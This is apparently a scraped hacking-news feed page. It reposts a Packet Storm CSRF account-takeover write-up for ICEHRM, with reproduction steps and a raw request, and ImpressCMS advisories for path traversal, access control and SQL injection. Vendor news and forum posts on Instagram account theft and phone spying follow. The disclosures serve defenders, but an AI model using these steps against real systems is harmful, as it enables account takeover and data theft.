Exploit Collector
ICEHRM 31.0.0.0S Cross Site Request Forgery

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
ICEHRM version 31.0.0.0S suffers from a cross site request forgery vulnerability.

MD5 | c62d06823da308b96d7d8a8775bd3775

Download
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
# Date: 18/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
- Now change the password in the POC to any password we want.
- Finally we open this POC in the same browser session and click on the submit button.
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.

4. Vulnerable Request:

GET
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
","pwd":"Dummy@123"} HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

5. Exploit POC (exploit.html)
value="{"current":"Test@123","pwd":"Dummy@123"}"
/>

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Path Traversal

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
ImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.

MD5 | a8d22b7cc80f2dd7e1709f1422b1179e

Download
-----------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the
/libraries/image-editor/image-edit.php script:

161. if (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {
162. if (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp )) {
163. $msg = _MD_AM_DBUPDATED;

[...]

190. } else {
191. if (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $imgname )) {
192. @unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp );
193. }

User input passed through the "image_temp" parameter is not properly
sanitized before being used in a call to the unlink() function at lines
162 and 192. This can be exploited by authenticated attackers to carry
out Path Traversal attacks and delete arbitrary files in the context of
the web server process. This vulnerability could be exploited also to
disclose the content of arbitrary files in case the web server allows
for directory listing.

[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26601 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081878
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-02

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Incorrect Access Control

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
ImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.

MD5 | 3eef0d54701c87520c4c7a944b7f47a5

Download
--------------------------------------------------------------------------
ImpressCMS <=
--------------------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

16. include "../mainfile.php";
17. xoops_header(false);
18.
19. $denied = true;
20. if (!empty($_REQUEST['token'])) {
21. if (icms::$security->validateToken($_REQUEST['token'], false)) {
22. $denied = false;
23. }
24. } elseif (is_object(icms::$user) && icms::$user->isAdmin()) {
25. $denied = false;
26. }
27. if ($denied) {
28. icms_core_Message::error(_NOPERM);
29. exit();
30. } }

This script should be accessible to authenticated users only. However,
because of the "if" statement at lines 20-23, this script could be
accessed by unauthenticated attackers if they will provide a valid
security token. Such a token will be generated in several places within
the application, and some of them do not require the user to be
authenticated, like in the misc.php script. This might be exploited to
access an otherwise restricted functionality of the application, which
in turn might allow an information disclosure about the CMS users.
[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26598 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081137
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-03

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
ImpressCMS versions 1.4.3 and below suffer from a remote SQL injection vulnerability.

MD5 | 87f67399dc57cf0886d71c379f9cc8b8

Download
---------------------------------------------------------------
ImpressCMS <=
---------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.3 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

281. $total =
$user_handler->getUserCountByGroupLink(@$_POST["groups"], $criteria);
282.
283. $validsort = array("uname", "email", "last_login",
"user_regdate", "posts");
284. $sort = (!in_array($_POST['user_sort'], $validsort)) ?
"uname" : $_POST['user_sort'];
285. $order = "ASC";
286. if (isset($_POST['user_order']) && $_POST['user_order']
== "DESC") {
287. $order = "DESC";
288. }
289.
290. $criteria->setSort($sort);
291. $criteria->setOrder($order);
292. $criteria->setLimit($limit);
293. $criteria->setStart($start);
294. $foundusers =
$user_handler->getUsersByGroupLink(@$_POST["groups"], $criteria, TRUE);

User input passed through the "groups" POST parameter is not properly
sanitized before being passed to the
icms_member_Handler::getUserCountByGroupLink() and
icms_member_Handler::getUsersByGroupLink() methods at lines 281 and 294.
These methods use the first argument to construct a SQL query without
proper validation, and this can be exploited by remote attackers to e.g.
read sensitive data from the "users" database table through
boolean-based SQL Injection attacks. The application allows for stacked
SQL queries, as such this vulnerability could be exploited to e.g.
create a new admin user and execute arbitrary PHP code.
[-] Solution:

Upgrade to version 1.4.4 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed
[11/02/2022] - Vendor was informed about the ineffective fix
[09/03/2022] - Version 1.4.4 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26599 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081145
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-04

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Zscaler Unveils Security Service Edge Innovations to Protect Enterprises From Cyberattacks

Advancements to the most deployed ZTNA solution strengthen the Zscaler Zero Trust Exchange with new private app protection, deception, and privileged remote access capabilities.

Dark Reading: Attacks/Breaches
Trustero Exits Stealth Mode and Launches its Compliance as a Service Platform

Proven best practices create integrity and trustworthiness.

Dark Reading: Attacks/Breaches
Checkmarx Launches Comprehensive Supply Chain Security Solution

Now available for use with Checkmarx Software Composition Analysis (SCA), the solution restores trust in modern application development while letting developers embrace open source code.

Dark Reading: Attacks/Breaches
Logpoint Unleashes SaaS-Delivered Converged SIEM

Only solution to deliver integrated cloud-based SIEM, SOAR, and UEBA services directly to organizations of all sizes.

Caso de uso não autorizados de chave da API do Google Maps
https://medium.com/@cupc4k3/caso-de-uso-n%C3%A3o-autorizados-de-chave-da-api-do-google-maps-89498752cf7d?source=rss------bug_bounty-5

Fala galera,Continue reading on Medium » (https://medium.com/@cupc4k3/caso-de-uso-n%C3%A3o-autorizados-de-chave-da-api-do-google-maps-89498752cf7d?source=rss------bug_bounty-5)

Hi I need some help.
https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/

So my girlfriends Instagram account is apart of that onlyfans/porn scam thing going around. I wanted to know what legal actions I could take. I’m waiting on a response from his account so I can figure out where it came from. Is it legal/possible to find his digital footprint from his/her Instagram response to my account? I’m studying cybersecurity in hopes to get into the industry, but I don’t know what to do. I’m more concerned about that it’s ruining her image, and I want to do something about it. What can I do? submitted by /u/Wonderful-Captain-92 (https://www.reddit.com/user/Wonderful-Captain-92)
[link] (https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/) [comments] (https://www.reddit.com/r/redteamsec/comments/tkbxo3/hi_i_need_some_help/)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
How are people hacking instagram account with links

I see a bunch of my friends accounts getting stolen with some links , how are they getting all there info from one simple link they send on instagram dms ?

submitted by /u/Bacon4U1400
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How do you spy on someone else’s phone without them knowing?

Phone hacking is the hone of investigating a portable gadget regularly utilizing computer abuses to analyze everything from the least…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video